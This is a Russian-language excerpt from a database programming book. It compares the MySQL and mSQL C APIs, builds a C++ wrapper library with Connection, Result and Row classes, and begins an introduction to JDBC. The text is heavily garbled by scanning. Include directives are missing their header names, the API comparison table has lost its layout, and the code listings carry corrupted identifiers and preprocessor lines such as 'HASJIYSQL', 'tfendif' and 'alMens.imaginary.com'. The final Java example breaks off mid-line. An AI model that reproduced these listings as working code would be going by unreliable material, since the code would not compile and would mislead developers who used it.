    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {
